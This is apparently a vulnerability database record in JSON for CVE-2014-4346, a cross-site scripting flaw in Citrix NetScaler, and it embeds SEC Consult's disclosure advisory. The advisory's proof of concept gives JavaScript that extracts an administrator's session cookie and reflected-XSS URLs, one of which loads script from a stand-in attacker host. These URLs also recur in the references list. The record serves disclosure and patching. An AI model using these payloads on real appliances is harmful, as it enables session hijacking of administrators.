              "value": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-79"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "1030573",
              "refsource": "SECTRACK",
              "tags": [],
              "url": "http://www.securitytracker.com/id/1030573"
            },
            {
              "name": "1030572",
              "refsource": "SECTRACK",
              "tags": [],
              "url": "http://www.securitytracker.com/id/1030572"
            },
            {
              "name": "http://support.citrix.com/article/CTX140863",
              "refsource": "CONFIRM",
              "tags": [
                "Vendor Advisory"
              ],
              "url": "http://support.citrix.com/article/CTX140863"
            },
            {
              "name": "68535",
              "refsource": "BID",
              "tags": [],
              "url": "http://www.securityfocus.com/bid/68535"
            },
            {
              "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
              "refsource": "FULLDISC",
              "tags": [],
              "url": "http://seclists.org/fulldisclosure/2014/Jul/77"
            },
            {
              "name": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt",
              "refsource": "MISC",
              "tags": [],
              "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_Citrix_NetScaler_Multiple_Vulnerabilities_v10.txt"
            },
            {
              "name": "59942",
              "refsource": "SECUNIA",
              "tags": [],
              "url": "http://secunia.com/advisories/59942"
            },
            {
              "name": "citrix-netscaler-cve20144346-xss(94493)",
              "refsource": "XF",
              "tags": [],
              "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
            },
            {
              "name": "20140716 SEC Consult SA-20140716-2 :: Multiple vulnerabilities in Citrix NetScaler Application Delivery Controller and Citrix NetScaler Gateway",
              "refsource": "BUGTRAQ",
              "tags": [],
              "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV2": {
          "cvssV2": {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          "exploitabilityScore": 8.6,
          "impactScore": 2.9,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "MEDIUM",
          "userInteractionRequired": true
        }
      },
      "lastModifiedDate": "2018-10-09T19:49Z",
      "publishedDate": "2014-07-16T14:19Z"
    }
  }
}

VAR-201407-0463

Vulnerability from variot - Updated: 2025-04-13 23:31

Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. Citrix NetScaler Application Delivery Controller 10.x prior 10.1-126.12 and 9.x prior 9.3-62.4 are vulnerable. Note: Citrix NetScaler Gateway is formerly known as Citrix Access Gateway Enterprise Edition. A remote attacker can exploit this vulnerability to inject arbitrary web script or HTML. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

SEC Consult Vulnerability Lab Security Advisory < 20140716-2 >

          title: Multiple vulnerabilities
        product: Citrix NetScaler Application Delivery Controller
                 Citrix NetScaler Gateway

vulnerable version: <9.3-62.4 <10.1-126.12 fixed version: >=9.3-62.4 >=10.1-126.12 CVE: CVE-2014-4346, CVE-2014-4347 impact: High homepage: http://www.citrix.com found: 2014-01-05 by: Stefan Viehb\xf6ck SEC Consult Vulnerability Lab https://www.sec-consult.com =======================================================================

Vendor/product description:

"Citrix NetScaler helps organizations build enterprise cloud networks that embody the characteristics and capabilities that define public cloud services, such as elasticity, expandability and simplicity. NetScaler brings to enterprise IT leaders multiple advanced technologies that were previously available only to large public cloud providers."

"As an undisputed leader of service and application delivery, Citrix NetScaler solutions are deployed in thousands of networks around the globe to optimize, secure and control the delivery of all enterprise and cloud services. They deliver 100 percent application availability, application and database server offload, acceleration and advanced attack protection. Deployed directly in front of web and database servers, NetScaler solutions combine high-speed load balancing and content switching, http compression, content caching, SSL acceleration, application flow visibility and a powerful application firewall into a single, easy-to-use platform."

URL: http://www.citrix.com/products/netscaler-application-delivery-controller/overview.html

Business recommendation:

Attackers can exploit XSS and other vulnerabilities that lead to cookie disclosure to execute administrative actions.

Affected Systems should be updated as soon as possible.

Vulnerability overview/description:

1) Cookie disclosure The error handler in the Apache g_soap module prints all of the request header information including the HTTP Cookie field. This vulnerability can be used in XSS attacks to gain access to the otherwise well protected (HttpOnly) "SESSID" cookie of an administrator.

2) Reflected Cross-Site Scripting (XSS) Citrix Netscaler suffers from multiple reflected Cross-Site Scripting vulnerabilities, which allow an attacker to steal user information, impersonate users and perform administrative actions on the appliance.

There are many parameters which are not properly sanitized and thus vulnerable to XSS.

Proof of concept:

1) Cookie disclosure A GET request to the SOAP handler returns the following information:

GET /soap HTTP/1.1 Host: OTHER HEADER FIELDS

Response: HTTP/1.1 200 OK ... Content-Type: text/html

...

mod_gsoap Apache SOAP Server Error

No body received ...
Cookie: SESSID=*SESSION ID*; ... In combination with an XSS vulnerability (see 2) an attacker can use the following code to extract cookies including the SESSID cookie of an administrator: var request = new XMLHttpRequest(); request.open('GET', '/soap', false); request.send(); lines=request.responseText.split('
') for (var i in lines){ if (lines[i].indexOf('Cookie')==0){ alert(lines[i]); break; } } 2) Reflected Cross-Site Scripting Accessing the following URL will include the Javascript code from http://evilattacker/evil.js: http:///menu/topn?name=";<%2fscript><%2fscript> Other pages do not sanitize user input properly as well: http:///pcidss/launch_report?type=AA";alert('xss');x=" http:///menu/guiw?nsbrand=AA<"'>AA&protocol=BB<"'>BB&id=CC<"'>CC Note: Content-Type is application/x-java-jnlp-file, so the injected script code is not interpreted. However, it is possible to inject arguments into a Java JNLP file, which might be used in further attacks. Vulnerable / tested versions: - ----------------------------- The vulnerabilities have been verified to exist in Citrix NetScaler VPX 10.0, which was the most recent version at the time of discovery. According to the vendor versions before 10.1-126.12 and 9.3-62.4 are vulnerable Vendor contact timeline: - ------------------------ 2014-01-09: Sending advisory and proof of concept exploit via encrypted channel. 2014-01-17: Vendor acknowledges receipt of advisory. 2014-04-04: Requesting status update. 2014-06-10: Vendor is "in the process of scheduling the release of a security bulletin". 2014-07-07: Requesting list of affected/non-affected versions CVE-IDs. 2014-07-07: Vendors is "still in the final stages of releasing the bulletin". 2014-07-07: Requesting info about cause of delay. 2014-07-07: Vendor is "still hopeful that the bulletin will be available soon". 2014-07-14: Vendor states that fixed version will be available on July 15/16. 2014-07-16: SEC Consult releases coordinated security advisory. Solution: - --------- Update to a more recent version of Citrix NetScaler. More information can be found at: https://support.citrix.com/article/ctx140863 Workaround: - ----------- No workaround available. Advisory URL: - ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested in working with the experts of SEC Consult? Write to career@sec-consult.com EOF Stefan Viehb\xf6ck / @2014 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJTxmWgAAoJECyFJyAEdlkKWLYH/0wpELCJemzmkj2HaotFZJtt 4C4/hsHWGbxmi2VbeiwGvYKHtDsw2KBDWlTrVTef3UrBnbAv6jFncTCjOv3eU6Ze 9swUmwxzNB9zqGvhYwEpcO8tSQu0H3xDMvbpKqYvq2qaBSm4YmJyUrDlwwSkCUnq ycGqzfidkAXoMUu/6wdam5251zXcR33n1KRfr3AH65p/OoOXrvasgY395Cty9zqW yfBvEIEs845aE/gbjbp40qvroz1dG8Z2LP4ykFWywVme0imgSD6nv/33Z0tDmlcD f7JjK8F7R7Q8l4J54n0iclXCWZhoS3pfabd60NXMzMmxroMuksmiNycm7yLGfe4= =KicK -----END PGP SIGNATURE-----

Show details on source website

JSON

To clipboard

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201407-0463",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "netscaler application delivery controller",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "citrix",
        "version": "10.1"
      },
      {
        "model": "netscaler access gateway",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "citrix",
        "version": "10.1"
      },
      {
        "model": "netscaler application delivery controller",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "citrix",
        "version": null
      },
      {
        "model": "netscaler access gateway",
        "scope": "eq",
        "trust": 1.0,
        "vendor": "citrix",
        "version": null
      },
      {
        "model": "netscaler application delivery controller",
        "scope": null,
        "trust": 0.8,
        "vendor": "citrix",
        "version": null
      },
      {
        "model": "netscaler application delivery controller",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "citrix",
        "version": "10.1 thats all  10.1-126.12"
      },
      {
        "model": "netscaler gateway",
        "scope": null,
        "trust": 0.8,
        "vendor": "citrix",
        "version": null
      },
      {
        "model": "netscaler gateway",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "citrix",
        "version": "10.1 thats all  10.1-126.12"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      },
      {
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/h:citrix:netscaler_application_delivery_controller",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:citrix:netscaler_application_delivery_controller_firmware",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/h:citrix:netscaler_access_gateway",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/o:citrix:netscaler_gateway_firmware",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Stefan Viehb\u00f6ck of SEC Consult",
    "sources": [
      {
        "db": "BID",
        "id": "68535"
      }
    ],
    "trust": 0.3
  },
  "cve": "CVE-2014-4346",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 8.6,
            "id": "CVE-2014-4346",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 1.8,
            "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "confidentialityImpact": "NONE",
            "exploitabilityScore": 8.6,
            "id": "VHN-72286",
            "impactScore": 2.9,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.1,
            "vectorString": "AV:N/AC:M/AU:N/C:N/I:P/A:N",
            "version": "2.0"
          }
        ],
        "cvssV3": [],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2014-4346",
            "trust": 1.0,
            "value": "MEDIUM"
          },
          {
            "author": "NVD",
            "id": "CVE-2014-4346",
            "trust": 0.8,
            "value": "Medium"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201407-362",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "VULHUB",
            "id": "VHN-72286",
            "trust": 0.1,
            "value": "MEDIUM"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      },
      {
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. \nAn attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. \nCitrix NetScaler Application Delivery Controller 10.x prior 10.1-126.12 and 9.x prior 9.3-62.4 are vulnerable. \nNote: Citrix NetScaler Gateway is formerly known as Citrix Access Gateway Enterprise Edition. A remote attacker can exploit this vulnerability to inject arbitrary web script or HTML. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nSEC Consult Vulnerability Lab Security Advisory \u003c 20140716-2 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n            product: Citrix NetScaler Application Delivery Controller\n\t\t\t         Citrix NetScaler Gateway\n vulnerable version: \u003c9.3-62.4\n                     \u003c10.1-126.12\n      fixed version: \u003e=9.3-62.4\n\t                 \u003e=10.1-126.12\n                CVE: CVE-2014-4346, CVE-2014-4347\n             impact: High\n           homepage: http://www.citrix.com\n              found: 2014-01-05\n                 by: Stefan Viehb\\xf6ck\n                     SEC Consult Vulnerability Lab\n                     https://www.sec-consult.com\n=======================================================================\n\nVendor/product description:\n- -----------------------------\n\"Citrix NetScaler helps organizations build enterprise cloud networks that\nembody the characteristics and capabilities that define public cloud services,\nsuch as elasticity, expandability and simplicity. NetScaler brings to\nenterprise IT leaders multiple advanced technologies that were previously\navailable only to large public cloud providers.\"\n\n\"As an undisputed leader of service and application delivery, Citrix NetScaler\nsolutions are deployed in thousands of networks around the globe to optimize,\nsecure and control the delivery of all enterprise and cloud services. They\ndeliver 100 percent application availability, application and database server\noffload, acceleration and advanced attack protection. Deployed directly in\nfront of web and database servers, NetScaler solutions combine high-speed load\nbalancing and content switching, http compression, content caching, SSL\nacceleration, application flow visibility and a powerful application firewall\ninto a single, easy-to-use platform.\"\n\nURL: http://www.citrix.com/products/netscaler-application-delivery-controller/overview.html\n\n\nBusiness recommendation:\n- ------------------------\nAttackers can exploit XSS and other vulnerabilities that lead to cookie disclosure\nto execute administrative actions. \n\nAffected Systems should be updated as soon as possible. \n\n\nVulnerability overview/description:\n- -----------------------------------\n1) Cookie disclosure\nThe error handler in the Apache g_soap module prints all of the request header\ninformation including the HTTP Cookie field. This vulnerability can be used in\nXSS attacks to gain access to the otherwise well protected (HttpOnly) \"SESSID\"\ncookie of an administrator. \n\n2) Reflected Cross-Site Scripting (XSS)\nCitrix Netscaler suffers from multiple reflected Cross-Site Scripting\nvulnerabilities, which allow an attacker to steal user information,\nimpersonate users and perform administrative actions on the appliance. \n\nThere are many parameters which are not properly sanitized and thus\nvulnerable to XSS. \n\n\nProof of concept:\n- -----------------\n1) Cookie disclosure\nA GET request to the SOAP handler returns the following information:\n\nGET /soap HTTP/1.1\nHost: \u003chost\u003e\n*OTHER HEADER FIELDS*\n\nResponse:\nHTTP/1.1 200 OK\n... \nContent-Type: text/html\n\n\u003c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\"\u003e\n\u003cHTML\u003e\n... \n \u003cBODY\u003e\n  \u003cH1\u003emod_gsoap Apache SOAP Server Error\u003c/H1\u003e\n\u003cp\u003e\u003cstrong\u003eNo body received\u003c/strong\u003e\n... \n\u003cbr\u003eCookie: SESSID=*SESSION ID*;\n... \n\nIn combination with an XSS vulnerability (see 2) an attacker can use the following\ncode to extract cookies including the SESSID cookie of an administrator:\n\nvar request = new XMLHttpRequest();\nrequest.open(\u0027GET\u0027, \u0027/soap\u0027, false);\nrequest.send();\nlines=request.responseText.split(\u0027\u003cbr\u003e\u0027)\nfor (var i in lines){\n    if (lines[i].indexOf(\u0027Cookie\u0027)==0){\n\t\talert(lines[i]);\n\t\tbreak;\n\t}\n}\n\n2) Reflected Cross-Site Scripting\nAccessing the following URL will include the Javascript code from http://evilattacker/evil.js:\nhttp://\u003chost\u003e/menu/topn?name=\";\u003c%2fscript\u003e\u003cscript+src%3d\"http:%2f%2fevilattacker%2fevil.js\"\u003e\u003c%2fscript\u003e\n\nOther pages do not sanitize user input properly as well:\nhttp://\u003chost\u003e/pcidss/launch_report?type=AA\";alert(\u0027xss\u0027);x=\"\n\nhttp://\u003chost\u003e/menu/guiw?nsbrand=AA\u003c\"\u0027\u003eAA\u0026protocol=BB\u003c\"\u0027\u003eBB\u0026id=CC\u003c\"\u0027\u003eCC\nNote: Content-Type is application/x-java-jnlp-file, so the injected script code\nis not interpreted. However, it is possible to inject arguments into a Java\nJNLP file, which might be used in further attacks. \n\n\nVulnerable / tested versions:\n- -----------------------------\nThe vulnerabilities have been verified to exist in Citrix NetScaler VPX 10.0,\nwhich was the most recent version at the time of discovery. \nAccording to the vendor versions before 10.1-126.12 and 9.3-62.4 are vulnerable\n\n\nVendor contact timeline:\n- ------------------------\n2014-01-09: Sending advisory and proof of concept exploit via encrypted\n            channel. \n2014-01-17: Vendor acknowledges receipt of advisory. \n2014-04-04: Requesting status update. \n2014-06-10: Vendor is \"in the process of scheduling the release of a security\n            bulletin\". \n2014-07-07: Requesting list of affected/non-affected versions CVE-IDs. \n2014-07-07: Vendors is \"still in the final stages of releasing the bulletin\". \n2014-07-07: Requesting info about cause of delay. \n2014-07-07: Vendor is \"still hopeful that the bulletin will be available soon\". \n2014-07-14: Vendor states that fixed version will be available on July 15/16. \n2014-07-16: SEC Consult releases coordinated security advisory. \n\n\nSolution:\n- ---------\nUpdate to a more recent version of Citrix NetScaler. \n\nMore information can be found at:\nhttps://support.citrix.com/article/ctx140863\n\n\nWorkaround:\n- -----------\nNo workaround available. \n\n\nAdvisory URL:\n- -------------\nhttps://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nSEC Consult Vulnerability Lab\n\nSEC Consult\nVienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius\n\nHeadquarter:\nMooslackengasse 17, 1190 Vienna, Austria\nPhone:   +43 1 8903043 0\nFax:     +43 1 8903043 15\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nInterested in working with the experts of SEC Consult?\nWrite to career@sec-consult.com\n\nEOF Stefan Viehb\\xf6ck / @2014\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.9 (MingW32)\nComment: Using GnuPG with Thunderbird - http://www.enigmail.net/\n\niQEcBAEBAgAGBQJTxmWgAAoJECyFJyAEdlkKWLYH/0wpELCJemzmkj2HaotFZJtt\n4C4/hsHWGbxmi2VbeiwGvYKHtDsw2KBDWlTrVTef3UrBnbAv6jFncTCjOv3eU6Ze\n9swUmwxzNB9zqGvhYwEpcO8tSQu0H3xDMvbpKqYvq2qaBSm4YmJyUrDlwwSkCUnq\nycGqzfidkAXoMUu/6wdam5251zXcR33n1KRfr3AH65p/OoOXrvasgY395Cty9zqW\nyfBvEIEs845aE/gbjbp40qvroz1dG8Z2LP4ykFWywVme0imgSD6nv/33Z0tDmlcD\nf7JjK8F7R7Q8l4J54n0iclXCWZhoS3pfabd60NXMzMmxroMuksmiNycm7yLGfe4=\n=KicK\n-----END PGP SIGNATURE-----\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2014-4346"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "db": "BID",
        "id": "68535"
      },
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "db": "PACKETSTORM",
        "id": "127496"
      }
    ],
    "trust": 2.07
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-72286",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2014-4346",
        "trust": 2.9
      },
      {
        "db": "SECTRACK",
        "id": "1030573",
        "trust": 1.7
      },
      {
        "db": "SECTRACK",
        "id": "1030572",
        "trust": 1.7
      },
      {
        "db": "BID",
        "id": "68535",
        "trust": 1.4
      },
      {
        "db": "SECUNIA",
        "id": "59942",
        "trust": 1.1
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362",
        "trust": 0.7
      },
      {
        "db": "PACKETSTORM",
        "id": "127496",
        "trust": 0.2
      },
      {
        "db": "VULHUB",
        "id": "VHN-72286",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "db": "BID",
        "id": "68535"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "db": "PACKETSTORM",
        "id": "127496"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      },
      {
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "id": "VAR-201407-0463",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2025-04-13T23:31:38.058000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "CTX140863",
        "trust": 0.8,
        "url": "http://support.citrix.com/article/CTX140863"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-79",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 1.8,
        "url": "http://support.citrix.com/article/ctx140863"
      },
      {
        "trust": 1.7,
        "url": "http://www.securitytracker.com/id/1030572"
      },
      {
        "trust": 1.7,
        "url": "http://www.securitytracker.com/id/1030573"
      },
      {
        "trust": 1.1,
        "url": "http://www.securityfocus.com/bid/68535"
      },
      {
        "trust": 1.1,
        "url": "http://www.securityfocus.com/archive/1/532802/100/0/threaded"
      },
      {
        "trust": 1.1,
        "url": "http://seclists.org/fulldisclosure/2014/jul/77"
      },
      {
        "trust": 1.1,
        "url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_citrix_netscaler_multiple_vulnerabilities_v10.txt"
      },
      {
        "trust": 1.1,
        "url": "http://secunia.com/advisories/59942"
      },
      {
        "trust": 1.1,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94493"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-4346"
      },
      {
        "trust": 0.8,
        "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-4346"
      },
      {
        "trust": 0.4,
        "url": "http://www.citrix.com"
      },
      {
        "trust": 0.1,
        "url": "http://www.citrix.com/products/netscaler-application-delivery-controller/overview.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2014-4346"
      },
      {
        "trust": 0.1,
        "url": "http://www.enigmail.net/"
      },
      {
        "trust": 0.1,
        "url": "http://\u003chost\u003e/menu/guiw?nsbrand=aa\u003c\"\u0027\u003eaa\u0026protocol=bb\u003c\"\u0027\u003ebb\u0026id=cc\u003c\"\u0027\u003ecc"
      },
      {
        "trust": 0.1,
        "url": "https://www.sec-consult.com"
      },
      {
        "trust": 0.1,
        "url": "http://\u003chost\u003e/menu/topn?name=\";\u003c%2fscript\u003e\u003cscript+src%3d\"http:%2f%2fevilattacker%2fevil.js\"\u003e\u003c%2fscript\u003e"
      },
      {
        "trust": 0.1,
        "url": "http://\u003chost\u003e/pcidss/launch_report?type=aa\";alert(\u0027xss\u0027);x=\""
      },
      {
        "trust": 0.1,
